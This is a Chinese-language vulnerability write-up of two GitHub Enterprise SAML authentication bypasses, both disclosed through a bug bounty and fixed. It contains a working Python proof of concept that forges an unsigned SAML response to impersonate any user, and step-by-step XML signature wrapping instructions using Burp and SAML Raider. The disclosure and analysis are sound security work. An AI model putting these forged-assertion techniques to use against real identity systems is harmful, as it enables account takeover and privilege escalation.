导语:在Github Enterprise版本的SAML服务中发现完全身份验证绕过的两个漏洞。作者将这些漏洞通过hackone的漏洞悬赏报告给Github并且已经修复。

在Github Enterprise版本的SAML服务中发现完全身份验证绕过的两个漏洞。作者将这些漏洞通过hackone的漏洞悬赏报告给Github并且已经修复。

漏洞介绍

Github Enterprise版本可以配置使用SAML来进行身份验证。有关SAML身份验证的简短介绍,可以查看以前的文章或以下任何内容:wikipedia,onelogin sam tutorial,auth0 saml how-to.

自从听说Github企业版支持SAML身份验证之后,就把挖掘他的SAML漏洞记在了心里。不过因为是Github,所以我没想到能在这上面发现一些重要的漏洞,就慢慢忘记了这件事情。就在今年一月,orange tsai发布了他们在Github企业版本中挖掘到的SQL注入漏洞报告,并且Github的安全部门宣布他们会在一月和二月报告的漏洞中会给出一些奖金。Orange的报告让我认为Github可能存在一定的漏洞。并且奖金的激励也有帮助于发现了这两个漏洞。 接下来就是这两个漏洞的主要内容,希望读者能着重阅读漏洞发现的过程,而不是只说666…

搭建实验环境

由于没有详细正确的阅读Github给的说明文档,我不知道如何在Github去申请测试许可,所以就直接去注册了一下正常的商业版本试用。

首先,下载qcow2镜像,通过VM打开,设置为2个cpu,4G内存。

1489714945466539.png

访问 https://192.168.122.244:8443/setup,跟着导航安装结束之后,收到下面的信息提示需要至少14GB内存来引导安装。

1489715016198914.png

考虑到测试SAML实现不需要所有的这些内存,所以要想办法绕过安装限制。通过搜索如果挂载和编辑qcow2镜像,我找到了libguestfs和guestfish.通过guestsfish挂载成功后,通过搜索'preflight',很幸运的找到了配置文件/usr/local/share/enterprise/ghe-preflight-check,所以我们更改:

CHECK_REQUIREMENTS = {
   default: {memory: 14, blockdev_capacity: 10, rootdev_capacity: 20},
 }

到:

CHECK_REQUIREMENTS = {
  default: {memory: 3, blockdev_capacity: 10, rootdev_capacity: 20},
 }

修改之后,我们就可以顺利地安装这个镜像了。

获取SAML实现源码

通过阅读orange提供的write-up,我接下来通过scp把/data/Github/current这里面的东西下载到本地。使用下面脚本:

require 'zlib'
 require 'fileutils'
 
 def decrypt(s)
     key = "This obfuscation is intended to discourage Github Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
     i, plaintext = 0, ''
     Zlib::Inflate.inflate(s).each_byte do |c|
         plaintext << (c ^ key[i%key.length].ord).chr
         i += 1
     end
     plaintext
 end
 content = File.open(ARGV[0], "r").read
 filename = './decrypted_source/'+ARGV[0]
 if content.include? "ruby_concealer.so"
     content.sub! %Q(require "ruby_concealer.so"n__ruby_concealer__), " decrypt "
     plaintext = eval content
 
     dirname = File.dirname('./decrypted_source/'+ARGV[0])
     unless File.directory?(dirname)
           FileUtils.mkdir_p(dirname)
     end
 else
     plaintext = content
 end
 
 open(filename,'w') { |f|
     f.puts plaintext
 }

然后执行一下命令将ruby文件进行去混淆:

find . -iname '*.rb' -exec ruby decrypt.rb '{}' ;

验证VM工作正常

根据文档说明很容易就可以启动以及设置好SAML身份验证。对于身份提供部分:使用了基于pysaml2的python项目,这个项目可以处理合法的IdP功能以及一些自动化和半自动化的SAML相关攻击。创建了一个虚拟的Idp证书:

openssl req -nodes -x509 -newkey rsa:2048 -keyout idp.key -out idp.crt -days 3650

并且,将我的发行者设置为:https://idp.ikakavas.gr,将认证端点设置为:https://idp.ikakavas.gr/sso/redirect.并且,在域中不需要设置很详细。由于所有的通信都是通过用户浏览器的前通道,所以我们只需要在'/etc/hosts'指向localhost就足够完成这次测试。我以下面的形式来对我的身份提供者进行设置:urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified。这样我们已经准备好进行测试了。

先做了一个测试认证,用登录user1作为SAML机制中的NAMEID,并且一切正常工作。用户是我在Github Enterprise 实例中创建的,并且能够成功登录。

下面是一般SAML WEB浏览器登录流程:

1489715195984425.png

ghe3

1. 用户访问: https://192.168.122.244
2. 由于启用了SAML身份验证,并且对Web界面的访问受到保护,GHE SAML SP构建了一个身份验证请求,并将用户重定向到IdP身份验证端点,身份验证请求结束并且将请求编码为HTTP GET参数.
3. Idp身份验证端点处理这一登录请求,如果它“知道”发出请求的用户,那么继续执行。反之,返回登录错误。
4. Idp成功认证后,构造包含认证语句以及SAMLResponse,并指示用户浏览器将其发布到GHE SAML SP的使用服务端点。
5. SAML响应的真实性以及有效性得到验证。用户从SAML断言信息的NAMEID中获取,并且SAML为用户创建session。
6. Cookie已经设置成功,同时作为已经认证的用户重定向返回https://192.168.122.244

实现攻击SMAL SP

签名分离

概述

我尝试的第一件事情是禁止SAML签名响应,以及禁止身份提供者发送SMAL声明到GHE服务提供者。

如果无法执行上面的SAML内容,相当于接受未签名的SAML断言的服务提供者接受用户名而不检查密码。如果上述流程有效,则在步骤5,GHE SAMLSP接受SAML断言只是检查它是良好的形式和有效,而不检查它的真实性。

所以,在30分钟内,我找到了一个非常严重的漏洞,导致产生了以下的影响:

• 外部或者内部的攻击者可以登录任意用户。
• 外部或者内部的攻击者可以建立任意用户,甚至提升权限,设置管理员属性
• 内部用户可以通过设置administrator属性,提升权限。

签名认证在SAML SSO中是非常重要的一部分,这里确没有进行验证,下面内容就是这个漏洞的详细分析。

漏洞详情

通过执行几个grep Saml命令后,我发现SAML文件包含在/data/Github/current/lib/saml文件夹中。 Ruby不是我的强项,但是源码看起来很直观。在执行几个'grep signature'后,让我比之前更困惑。因为我看到有源码处理签名认证。

处理传入SAML响应的验证函数是/data/Github/current/lib/Github/authentication/saml.rb,这个脚本是用来处理到断言服务端点的HTTP POST请求。主要出现在get_auth_failure_result的方法中。源码如下:

def get_auth_failure_result(saml_response, request, log_data)
   unless saml_response.in_response_to || idp_initiated_sso? || ::SAML.mocked[:skip_in_response_to_check]
     return Github::Authentication::Result.external_response_ignored
   end
   unless saml_response.valid?(
     :issuer => configuration[:issuer],
     :idp_certificate => idp_certificate,
     :sp_url => configuration[:sp_url]
   )
     log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params)
     return Github::Authentication::Result.failure :message => INVALID_RESPONSE
   end
 
   if saml_response.request_denied?
     log_auth_validation_event(log_data, "failure - RequestDenied", saml_response, request.params)
     return Github::Authentication::Result.failure :message => saml_response.status_message || REQUEST_DENIED_RESPONSE
   end
 
   unless saml_response.success?
     log_auth_validation_event(log_data, "failure - Unauthorized", saml_response, request.params)
     return Github::Authentication::Result.failure :message => UNAUTHORIZED_RESPONSE
   end
 
   if request_tracking? && !in_response_to_request?(saml_response, request)
     log_auth_validation_event(log_data, "failure - Unauthorized - In Response To invalid", saml_response, request.params)
     return Github::Authentication::Result.failure :message => UNAUTHORIZED_RESPONSE
   end
 end

当valisd?函数被调用时,就开始变得有趣了:

unless saml_response.valid?(   :issuer => configuration[:issuer],   :idp_certificate => idp_certificate,   :sp_url => configuration[:sp_url] )   log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params)   return Github::Authentication::Result.failure :message => INVALID_RESPONSE end
saml_response 中的valid?方法实际上是从Message class(/lib/saml/message.rb)调用的:
# Public: Validates schema and custom validations. # # Returns false if instance is invalid. #errors will be non-empty if # invalid. def valid?(options = {})   errors.clear   validate_schema && validate(options)   errors.empty? end

并且上面调用的validate方法在Response类中实现,该类在/data/Github/current/lib/saml/message/response.rb中实现:

def validate(options)
     if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate]
       validate_has_signature
       validate_signatures(options[:idp_certificate])
     end
     validate_issuer(options[:issuer])
     validate_destination(options[:sp_url])
     validate_recipient(options[:sp_url])
     validate_conditions
     validate_audience(options[:sp_url])
     validate_name_id_format(options[:name_id_format])
 end

到了这里,我没有在继续寻找validate_has_signature还有validate_signatures,以及他们是不是已经执行了。SAML.mocked`必须在某处设置成true,不过这一变化将导致这一漏洞似乎不可能。所以,我确信idp_certicate已经被设置了,因为如果不设置这个值的话,无法完成对SAML服务的配置。

唯一再进一步的方法就是调试函数。在ruby或者unicom语句中添加:put,pp语句也许是最简单的方式了。 所以,我用去混淆的脚本(/data/Github/current/lib/saml/message/response.rb)对混淆的代码进行带换。带换内容如下:

def validate(options)
     pp options
     if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate]
       puts 'Going to validate the signature'
       validate_has_signature
       validate_signatures(options[:idp_certificate])
     end
 ...

接下来,我就可以找到是什么来运行ruby程序,进而找到我们应该去分析哪一个日志文件。 我开始通过观察什么应用侦听在443端口,发现是haproxy通过nginx转发到unicom。通过执行systemctl list-units命令我发现服务进程名字为:'Github-unicom',运行文件为:data/Github/current/config/unicorn.rb,对应的日志文件为:“/var/log/Github/unicom.log” 有了上面的积累,我重新启动服务,执行身份验证,并查看日志以查看发生了什么,并看到以下内容:

{:issuer=>"https://idp.ikakavas.gr",
  :idp_certificate=>nil,
  :sp_url=>"https://192.168.122.244"}

由于:idp_certificate 是nil,所以证明了!SAML.mocked[:skip_validate_signature] && options[:idp_certificate]为假,进而证明了" validate_has_signature "和"validate_signatures"实际上在验证签名有效性的方面从来没有起作用,

我们深入到漏洞的根源,并且发现准确实际的错误,找到了这个漏洞函数被调用的脚本(

/data/Github/current/lib/Github/authentication/saml.rb ):
unless saml_response.valid?(   :issuer => configuration[:issuer],   :idp_certificate => idp_certificate,   :sp_url => configuration[:sp_url] )

idp_certificate函数为:

# Public: Returns a string containing the IdP certificate or nil.
  def idp_certificate
    @idp_certificate ||= if configuration[:idp_certificate]
      configuration[:idp_certificate]
    elsif configuration[:idp_certificate_path]
      File.read(configuration[:idp_certificate_path])
    end
  end

我一直观察它的运行,不过没有任何东西关闭。我没有发现任何错误。所以,我重新启动,几分钟过后,观察他的配置文件:

{:sso_url=>"http://idp.ikakavas.gr/sso",
  :idp_initiated_sso=>false,
  :disable_admin_demote=>false,
  :issuer=>"https://idp.ikakavas.gr",
  :signature_method=>"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256",
  :digest_method=>"http://www.w3.org/2000/09/xmldsig#sha1",
  :idp_certificate_file=>"/data/user/common/idp.crt",
  :sp_pkcs12_file=>"/data/user/common/saml-sp.p12",
  :admin=>nil,
  :profile_name=>nil,
  :profile_mail=>nil,
  :profile_key=>nil,
  :profile_gpg_key=>nil,
  :sp_url=>"https://192.168.122.244"}

发现这个漏洞在我面前呈现出来。这是相对于第二个来说比较简单的一个漏洞。

在配置文件中,调用了一个idp_certificate_file函数,同时/data/Github/current/lib/Github/authentication/saml.rb试图获取idp_certificate_path.这一函数返回nill,并且也禁止了SAML对消息完整性和真实性的所有保护。

Poc

import requests, urllib, zlib, base64, re, datetime, pprint
 from urlparse import parse_qs
 from requests.packages.urllib3.exceptions import InsecureRequestWarning
 requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
 # Change this to reflect your GHE setup
 URL ='https://192.168.122.244/login?return_to=https%3A%2F%2F192.168.122.244%2F'
 ISSUER = 'https://idp.ikakavas.gr'
 RECIPIENT = 'https://192.168.122.244/saml/consume'
 AUDIENCE = 'https://192.168.122.244'
 # user to impersonate
 NAMEID = 'testuser'
 
 # Get a client that can handle cookies
 saml_client = requests.session()
 # Make the initial request to trigger the authentication middleware
 # Disallow redirects as we need to catch the Location header and parse it
 response = saml_client.get(URL, verify=False, allow_redirects=False)
 idp_login_url = response.headers['Location']
 # Get the HTTP GET parameters as a dict
 saml_message = (dict([(k, v[0]) for k, v in parse_qs(idp_login_url.split("?")[1]).items()]))
 if 'SAMLRequest' in saml_message and 'RelayState' in saml_message:
     relay_state = saml_message['RelayState']
     encoded_saml_request = saml_message['SAMLRequest']
     # inflate and decode the request
     saml_request = zlib.decompress(urllib.unquote(base64.b64decode(encoded_saml_request)), -15)
     # get the AuthnRequest ID so that we can reply
     to_reply_to = re.search(r'ID="([_A-Za-z0-9]*)"', saml_request, re.M|re.I).group(1)
 
     now = '{0}Z'.format(datetime.datetime.utcnow().isoformat().split('.')[0])
     not_after = '{0}Z'.format((datetime.datetime.utcnow()+ datetime.timedelta(minutes = 20)).isoformat().split('.')[0])
     #Now load a dummy SAML Response from file and manipulate necessary fields
     saml_response ='''<?xml version="1.0" encoding="UTF-8"?>
 <ns0:Response Destination="{5}"
   ID="id-ijkXTw5GmzOJrShaq"
   InResponseTo="{0}"
   IssueInstant="{1}" Version="2.0"
   xmlns:ns0="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:ns1="urn:oasis:names:tc:SAML:2.0:assertion">
   <ns1:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://idp.ikakavas.gr</ns1:Issuer>
   <ns0:Status>
     <ns0:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
   </ns0:Status>
   <ns1:Assertion ID="id-MnRkvbCYnZ7YQ9vP5"
     IssueInstant="{1}" Version="2.0">
     <ns1:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">{2}</ns1:Issuer>
     <ns1:Subject>
       <ns1:NameID
         Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">{3}</ns1:NameID>
       <ns1:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
         <ns1:SubjectConfirmationData
           InResponseTo="{0}"
           NotOnOrAfter="{4}" Recipient="{5}"/>
       </ns1:SubjectConfirmation>
     </ns1:Subject>
     <ns1:Conditions NotBefore="{1}" NotOnOrAfter="{4}">
       <ns1:AudienceRestriction>
         <ns1:Audience>{6}</ns1:Audience>
       </ns1:AudienceRestriction>
     </ns1:Conditions>
     <ns1:AuthnStatement AuthnInstant="{1}" SessionIndex="id-bBMbAuaPOePnBgNTx">
       <ns1:AuthnContext>
         <ns1:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</ns1:AuthnContextClassRef>
       </ns1:AuthnContext>
     </ns1:AuthnStatement>
   </ns1:Assertion>
 </ns0:Response>'''.format(to_reply_to, now, ISSUER, NAMEID, not_after, RECIPIENT, AUDIENCE)
     data = {'SAMLResponse': base64.b64encode(saml_response),
             'RelayState':relay_state}
     #Post the SAML Response to the ACS endpoint
     r = saml_client.post(RECIPIENT, data=data, verify=False, allow_redirects=False)
     # we expect a redirect on successful authentication
     if 300 < r.status_code < 399:
         # Print the cookies for verification
         pprint.pprint(r.cookies.get_dict())

执行完Poc之后会输出类似的东西:

{'_fi_sess': 'eyJsYXN0X3dyaXRlIjoxNDg0MDY0NjMxNzU3LCJmbGFzaCI6eyJkaXNjYXJkIjpbXSwiZmxhc2hlcyI6eyJhbmFseXRpY3NfZGltZW5zaW9uIjp7Im5hbWUiOiJkaW1lbnNpb241IiwidmFsdWUiOiJMb2dnZWQgSW4ifX19LCJzZXNzaW9uX2lkIjoiMzM2OGFiYmFjOGVjMWQxNGZiYjhmNDAzMGRiNWFkZGQifQ%3D%3D--c9219c7ba29e5285a76275c2a0a5dcbb12925fcb',
 '_gh_render': 'BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTZlMmNjZTBmN2RjMGM3MDExMGI3%0AMzVkMjcxYjZkOGY5MTQxMTE0Yzg2NDMwOGFkM2EzZDE5OTU1MjJiMTRkMGEG%0AOwBGSSIPdXNlcl9sb2dpbgY7AEZJIg10ZXN0dXNlcgY7AFQ%3D%0A--ae525ab90dee2157dec9890cdb147c569ff5e6b8',
 'dotcom_user': 'testuser',
 'logged_in': 'yes',
 'user_session': 'yoF_AlS0VMFsZjBzj8mLF9Wk_Ne1YpCv57y_T1rTy-FEfD_dWHUHd3pqz07hXxODk0hhms_8gVxICuBQ'}

将攻击得来的cookie设置到浏览器中,登录成功。

XML签名包装攻击

概要

第二个周末,我有更多的时间来从不同的方面来检测Github Enterprise的漏洞。我用在一篇文章里面介绍的所有攻击方法制作了一个检测框架,进行它的漏洞扫描。

运行这个检测框架,很快发现了SAML存在一个特殊的XML签名包装攻击(xsw),是由验证签名部分和实现业务逻辑部分存在不同数据视图引发的。GHE SAML SP实施过程漏洞是由一个包含两条SAML信息的SAML响应触发的。假设合法的信息是LA,伪造的信息是:FA,并且LAS是合法信息的签名,恶意攻击的SAML响应如下:

<SAMLRespone>
   <FA ID="evil">
       <Subject>Attacker</Subject>
   </FA>
   <LA ID="legitimate">
       <Subject>Legitimate User</Subject>
       <LAS>
          <Reference Reference URI="legitimate">
          </Reference>
       </LAS>
   </LA>
 </SAMLResponse>

所以当接收到这样一条SAML响应时,即使FA没有签名,GHE会成功验证,并且为攻击者建立一个合法的Session,而不是为合法用户创建。

漏洞详情

让我们看看为什么GHE这么容易被攻击,我们采取前面的方式,看他去混淆的代码.

最根本的问题是响应处理时,默认会认为SAML响应里面只会有一条消息。

位于/data/Github/current/lib/Github/authentication/saml.rb是用来认证传入过来的SAML响应,:

def rails_authenticate(request)

传入的SAML信息是用来创建*SAML::Message::Response实例。

saml_response = ::SAML::Message::Response.from_param(request.params[:SAMLResponse])

函数位于/data/Github/current/lib/saml/message.rb的from_param函数是用来将对响应进行base64解码,然后继续调用build函数,继续调用位于/data/Github/current/lib/saml/message/response.rb的parse方法。其中,parse()中广泛使用了at_xpath方法,以便在SAML响应中以便找到指定的XPATH,并且把节点的内容赋值给一个变量。

这是漏洞的第一部分,也就是如何在业务逻辑上面获得SAML的响应。由于at_xpath和at方法不管是有多少结果在,它们都是匹配和检索第一个结果。以下变量都是伪造的声明。

issuer = d.at_xpath("//Response/Issuer") && d.at_xpath("//Response/Issuer").text
 issuer ||= d.at_xpath("//Response/Assertion/Issuer") && d.at_xpath("//Response/Assertion/Issuer").text
 status_code = d.at_xpath("//Response/Status/StatusCode")
 second_level_status_code = d.at_xpath("//Response/Status/StatusCode/StatusCode")
 status_message = d.at_xpath("//Response/Status/StatusMessage")
 authn = d.at_xpath("//AuthnStatement")
 conditions = d.at_xpath("//Response/Assertion/Conditions")
 audience_text = d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction") && d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction/Audience") && d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction/Audience").text
 attribute_statements = d.at_xpath("//Response/Assertion/AttributeStatement")
 subject = d.at_xpath("//Subject") && d.at_xpath("//Subject").text
 name_id = d.at_xpath("//Subject/NameID") && d.at_xpath("//Subject/NameID").text
 name_id_format = d.at_xpath("//Subject/NameID") && d.at_xpath("//Subject/NameID")["Format"]
 subj_conf_data = d.at_xpath("//Subject/SubjectConfirmation") && d.at_xpath("//Subject/SubjectConfirmation/SubjectConfirmationData")

现在响应的对象已经产生,get_auth_failure_result(saml_response, request, log_data)

unless saml_response.valid?(
   :issuer => configuration[:issuer],
   :idp_certificate => idp_certificate,
   :sp_url => configuration[:sp_url]
 )
   log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params)
   return Github::Authentication::Result.failure :message => INVALID_RESPONSE
 end

同样,位于saml_response的valid?方法在实际上被调用:

# Public: Validates schema and custom validations.
 #
 # Returns false if instance is invalid. #errors will be non-empty if
 # invalid.
 def valid?(options = {})
   errors.clear
   validate_schema && validate(options)
   errors.empty?
 end

valid?方法中的validate(位于/data/Github/current/lib/saml/message/response.rb)被调用:

def validate(options)
     if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate]
       validate_has_signature
       validate_signatures(options[:idp_certificate])
     end
     validate_issuer(options[:issuer])
     validate_destination(options[:sp_url])
     validate_recipient(options[:sp_url])
     validate_conditions
     validate_audience(options[:sp_url])
     validate_name_id_format(options[:name_id_format])
 end

这就是漏洞的第二部分的主要的代码:签名验证逻辑,并且得到SAML响应。 其中的validate_has_signature如下:

def validate_has_signature
     namespaces = {
       "ds" => "http://www.w3.org/2000/09/xmldsig#",
       "saml2p" => "urn:oasis:names:tc:SAML:2.0:protocol",
       "saml2" => "urn:oasis:names:tc:SAML:2.0:assertion"
     }
     unless document.at("//saml2p:Response/ds:Signature", namespaces) ||
            document.at("//saml2p:Response/saml2:Assertion/ds:Signature", namespaces)
       self.errors << "Message is not signed. Either the assertion or response or both must be signed."
     end
   end

//saml2p:Response/saml2:Assertion/ds:Signature只是匹配了在处理过程中正确的部分,并且不在self.errors添加任何东西。

接下来,validate_signatures方法如下:

def validate_signatures(certificate)
     certificate = OpenSSL::X509::Certificate.new(certificate)
     unless signatures.all? { |signature| signature.valid?(certificate) }
       puts "digest mismatch"
       self.errors << "Digest mismatch"
     end
   end

它使用了来自/data/Github/current/lib/saml/message.rb的signatures:

def signatures
   signatures = document.xpath("//ds:Signature", Xmldsig::NAMESPACES)
   signatures.reverse.collect do |node|
     Xmldsig::Signature.new(node)
   end || []
 end

这个函数匹配了我们在伪造的SAML响应中签名,并且valid?函数成功从Xmldsig::Signature验证了对身份提供者的公钥,因为动作消息确实是来自合法的IDP。

我们回到 response.rb的validate函数,可以看到:

validate_issuer(options[:issuer])
 validate_destination(options[:sp_url])
 validate_recipient(options[:sp_url])
 validate_conditions
 validate_audience(options[:sp_url])
 validate_name_id_format(options[:name_id_format])

他会返回true,并且他们会处理伪造的消息,攻击者可以任意的操作这些变量。

PoC

由于我用的代码或者工具还没有发布出来,为了描述Poc让Github验证,所以我使用了SAML Raider复现整个攻击过程。

1.   使用您喜欢的SAML身份提供者设置SAML身份验证的GHE。

2.   安装burp还有SAML Raider插件

3.   设置浏览器,使用burp代理

4.   开始登录GHE

5.   拦截SAML授权请求和转发

0000.png

6.    使用合法的用户登录

7.    拦截SAML响应

1489715771705147.png

8.    在SAML Raider窗口中,从可用的攻击中选择XSW3,然后单击"Apply XSW"

9.    检查下面的SAML响应,以查看它是否已更改,并将ID为evil_assertion_ID的中的名称更改为其他名称(即“victim_account”)

1489715846113224.png

10.   单击Forward然后检查是不是以victim_accout进行登录的。

1489715897544717.png

可利用性

如果下面3种情况之一,攻击者就可以进行身份验证绕过。

1.  攻击者是使用SAML身份验证的GHE实例的现有用户。
2.  攻击者是SAML身份提供者的现有可信用户。
3.  攻击者得到有效的SAML服务的签名信息。可以使任何使用SAML服务的应用(可以是身份服务提供商日志,其他服务提供商日志,或者StackOverflow的问题,等等)

注意,外部攻击者具有很大的困难,因为它们需要来自可信身份提供者的有效签名信息进行攻击。然而事实证明,签名泄漏可以显着提高机会。

影响

外部或内部攻击者可以进行任意用户登录
内部攻击者可以进行提升权限。
源链接

Hacking more

...